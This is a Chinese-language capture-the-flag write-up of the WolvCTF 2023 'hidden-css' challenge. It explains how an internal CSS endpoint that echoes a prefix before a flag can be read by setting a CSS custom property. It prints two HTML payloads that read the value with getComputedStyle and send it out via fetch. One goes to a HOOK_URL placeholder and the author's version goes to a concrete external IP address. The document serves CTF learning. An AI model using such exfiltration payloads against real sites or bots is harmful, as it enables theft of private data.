
hidden-css
复现一道2023wolvct 的 xss
这道题开启了两个 服务 一个 public server 和 private server
一个开在了内网 一个开在了外网

docker-compose值暴露了一个端口
看暴露在公网的服务
/visit 路由 可以通过 page.goto 来访问 其他的地址
然后 看一下内网的服务做了什么东西
app.get('/css', function(req, res) {
let prefix = '' + req.query.prefix
console.log('visit to /css?prefix='+prefix)
for (c of prefix) {
const charCode = c.charCodeAt(0)
if (charCode < 32 || charCode > 126) {
prefix = 'illegal characters seen'
break
}
}
if (prefix.length > 20) {
prefix = 'your prefix is too long'
}
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Content-Type', 'text/css');
res.send(prefix + FLAG);
});
提供了一个css路由 然后传入 prefix 限制了 只能为可见字符 不过这些 都没有关系可以随便绕过 然后 拼接了 我们传入的东西 和 flag
然后返回给css 格式
cors是不可以的 因为 如果我们用服务器去代理访问的话 是不行的 因为 我们想要的flag是在 内网服务下的 我们不能直接通过 代理服务器去访问 所以这种 方法是行不通的
还有一种是在discord上看到的payload
那就来讲解一下这个paylaod的把 核心思想就是 通过 把 flag设置为 css变量 来获取它 然后 返回给我们
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://0:1337/css?prefix=p{--frog:" />
</head>
<body>
<p id="gotcha">before</p>
<script>
setTimeout(()=>{
let property = getComputedStyle(gotcha).getPropertyValue('--frog')
fetch('""" + HOOK_URL + """?flag='+property)
}, 100)
</script>
</body>
</html>
第一个link标签是 引入 css 这里使用 p 来对 body里面的 p标签来 进行 css 看一看 这个link标签返回的 css 内容把

下面是一个 p标签 有个 id属性
下面一段 js代码 里面有两个函数 先看一下
getComputedStyle
引自MDN
Window.getComputedStyle()方法返回一个对象,该对象在应用活动样式表并解析这些值可能包含的任何基本计算后报告元素的所有 CSS 属性的值
大概意思就是 说 可以获取 css的 属性值
那这里就来看一下 css的属性 我之前 也不知道 css 可以自定义属性
引自MDN
自定义属性(有时候也被称作CSS 变量或者级联变量)是由 CSS 作者定义的,它包含的值可以在整个文档中重复使用。由自定义属性标记设定值(比如: --main-color: black;),由 var() 函数来获取值(比如: color: var(--main-color);)复杂的网站都会有大量的 CSS 代码,通常也会有许多重复的值。举个例子,同样一个颜色值可能在成千上百个地方被使用到,如果这个值发生了变化,需要全局搜索并且一个一个替换(很麻烦哎~)。自定义属性在某个地方存储一个值,然后在其他许多地方引用它。另一个好处是语义化的标识。比如,--main-text-color 会比 #00ff00 更易理解,尤其是这个颜色值在其他上下文中也被使用到
自定义属性的基本用法
声明一个 自定义属性的值 属性名 需要以 --来开始
例如
p{
--kkkl="abc"
}
这里继续将这两个函数 先看 getComputedStyle
Window.getComputedStyle()方法返回一个对象,该对象在应用活动样式表并解析这些值可能包含的任何基本计算后报告元素的所有 CSS 属性的值。私有的 CSS 属性值可以通过对象提供的 API 或通过简单地使用 CSS 属性名称进行索引来访问。
看另一个 getPropertyValue()
CSSStyleDeclaration.getPropertyValue() 接口返回一个 DOMString ,其中包含请求的 CSS 属性的值
第一个是 返回 这个 css对象的所有的 属性值 第二个是获取指定的属性的值
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style>
p{
--kkkl:bbbbb
}
</style>
<body>
<p id="i">aaa</p>
<script>
let a= getComputedStyle(i).getPropertyValue('--kkkl')
// let a= getComputedStyle(i)
console.log(a) //bbbbb
</script>
</body>
</html>
所以 我们可以自定义一个 css属性值 然后 把他获取出来 发送到我们的服务器上
所以 我们在服务器上放
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://0:1337/css?prefix=p{--kkkl:" />
</head>
<body>
<p id="gotcha">before</p>
<script>
setTimeout(()=>{
let property = getComputedStyle(gotcha).getPropertyValue('--kkkl')
fetch('http://43.143.197.175:2333?flag='+property)
}, 100)
</script>
</body>
</html>
然后让bot其访问我们服务器的这个代码就可以了
但是这里还有一个问题 就是 因为这里没有引号 然后

这个格式 他会在代码中报错
但是 他在 浏览器中是没有任何 影响的

可能是 浏览器会自动的忽略这个报错 (并且自动添加一个 } ?)
这里不是很清楚 我们只要知道它可以正常的返回就可以了
总结 当我们要偷取 css中的内容的话 我们可以不通过 cors 来获取网页的内容 我么可以直接利用 css中的变量 来将我们要偷取的css文件来赋值为我们定义的变量 然后返回 师傅们可以不看我这个总结 我自己瞎bb的 呜呜 太菜了